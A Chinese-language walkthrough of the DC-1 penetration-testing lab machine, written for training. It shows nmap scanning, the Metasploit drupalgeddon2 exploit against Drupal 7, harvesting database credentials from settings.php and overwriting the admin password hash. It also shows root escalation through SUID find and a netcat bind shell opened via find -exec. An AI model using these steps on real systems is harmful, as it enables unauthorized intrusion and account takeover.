环境搭建
靶机描述
DC系列靶机是一系列专门为渗透测试和网络安全实验室设计的虚拟机器。这些靶机提供了一系列不同的漏洞和攻击场景,使渗透测试者可以在这些环境下测试自的技能和工具。DC系列靶机包含多个不同的主题,例如各种操作系统的漏洞,Web应用程序安全和无线网络安全等。它们对初学者和专业人士都有很大的价值,因为它们可以帮助他们了解安全漏洞和如何利用它们进行渗透测试。
下载靶场环境
启动靶场环境
点击导入,如果报错可以点击重试
导入完成之后打开后把网络模式设置为NAT模式。
渗透靶场
本环境主要在于以下两个知识点
- Drupal 7 漏洞利用 (Drupal 7是一款开源的内容管理系统,它基于 PHP 和 MySQL 构建,被广泛用于创建各种类型的网站和应用程序)
- find 提权 (Find提权通常指的是在计算机系统中利用漏洞或漏洞组合来获取更高的权限)
信息收集
寻找真实IP
使用nmap工具进行主机发现
nmap -sP 192.168.178.1/24
得到主机IP为192.168.178.108
扫描端口及服务
nmap -A -p- -v 192.168.178.108
ip地址、开放22端口、开放80端口、扫描到了robot.txt文档、使用的Apache2.2、使用的Drupal 7
访问web站点
http://192.168.178.108/
利用MSF渗透
典型的drupal,启动Metersploit,MSF存在drupal模块,尝试使用msf渗透
MSF简单命令介绍
msfconsole 进入MSF控制台 search 搜索相应模块 use 对应模块 show options 查看信息 set RHOST 远程主机ip run 攻击
搜索Drupal 7的漏洞
搜索Drupal 7的漏洞发现可利用的漏洞很多,搜索与Drupal 7相关的漏洞利用模块
searchsploit Drupal 7
进入MSF控制台搜索drupal模块
msfconsole
search drupal
选择模块进行测试
使用2018的测试
use exploit/unix/webapp/drupal_drupalgeddon2
设置靶机IP运行msf
set rhosts 192.168.178.108
run
成功获取权限
进入shell
输入id,
shell
id
执行whoami
,查询当前用户的身份信息
whoami
发现是www-data用户权限
发现flag4.txt文件
进入home目录,发现flag4.txt文件,提示需要提升权限
使用python反弹一个交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
将当前的shell提升一个交互式的shell,以便执行更多的命令和操作。
进入到www目录,发现flag1文件
查看www目录下文件,发现flag1.txt文件,打开发现提示信息,内容提示寻找站点的配置文件
cd /var/www/
ls
cat flag1.txt
发现flag2
Drupal的默认配置文件
/var/www/sites/default/settings.php
查看文件内容
cat /var/www/sites/default/settings.php
发现了flag2和数据库的账号密码
flag2提示,提升权限为root来查看敏感文件,或者直接爆破
数据库:drupaldb
帐号:dbuser
密码:R0ck3t
我们先进入数据库查看
mysql -u dbuser -p
查看数据库,切换到drupaldb数据库,查看查找默认的users
表
show databases;
use drupaldb;
select * from users;
发现admin信息
置换drupal密码(两种方法)
进入www目录,站点路径下执行脚本,生成新密码
quit;
cd /var/www/
php scripts/password-hash.sh 新密码
$S$D6KBbrqTHP5u/1bXnH4YfYPUMnI4E3JfEjNw6Du86.rEBzXQ/qcP
然后在进入数据库中把密码字段进行替换
进入mysql,输入密码,切换到drupaldb数据库,将pass字段进行替换
mysql -u dbuser -p
R0ck3t
use drupaldb
update users set pass="$S$D6KBbrqTHP5u/1bXnH4YfYPUMnI4E3JfEjNw6Du86.rEBzXQ/qcP" where name="admin";
登录站点
http://192.168.178.108/
进行登录,密码是之前我们自己替换的
admin
123456
成功登录
发现flag3
登陆战点之后,随便点几个选项,例如左上角的Content,发现flag3
点击flag3进入,发现提示信息
先quit;
退出数据库,然后使用命令查看 suid
权限的可执行二进制程序
find提权
https://www.cnblogs.com/aaak/p/15718561.html
ls -l /usr/bin/find
find / -perm -4000 2>/dev/null
使用命令测试,发现为root权限
touch 666 (创建一个为666的空文件夹)
ls
find / -name 666 -exec "whoami" \;
find (一个路径或文件必须存在) -exec 执行命令 (结束)\;
find /usr/bin/find -exec "whoami" \;
我们切换语句进入shell,执行whoami查看当前的权限,执行ls查看当前目录下的文件,切换到root目录
find / -name 666 -exec "/bin/sh" \;
whoami
ls
cd /root
ls
查看thefinalflag.txt
文件
cat thefinalflag.txt
另一种思路,natcat监听,远程连接
https://www.cnblogs.com/fandt/p/17331999.html
find /usr/bin/find -exec netcat -lvp 5555 -e /bin/sh \;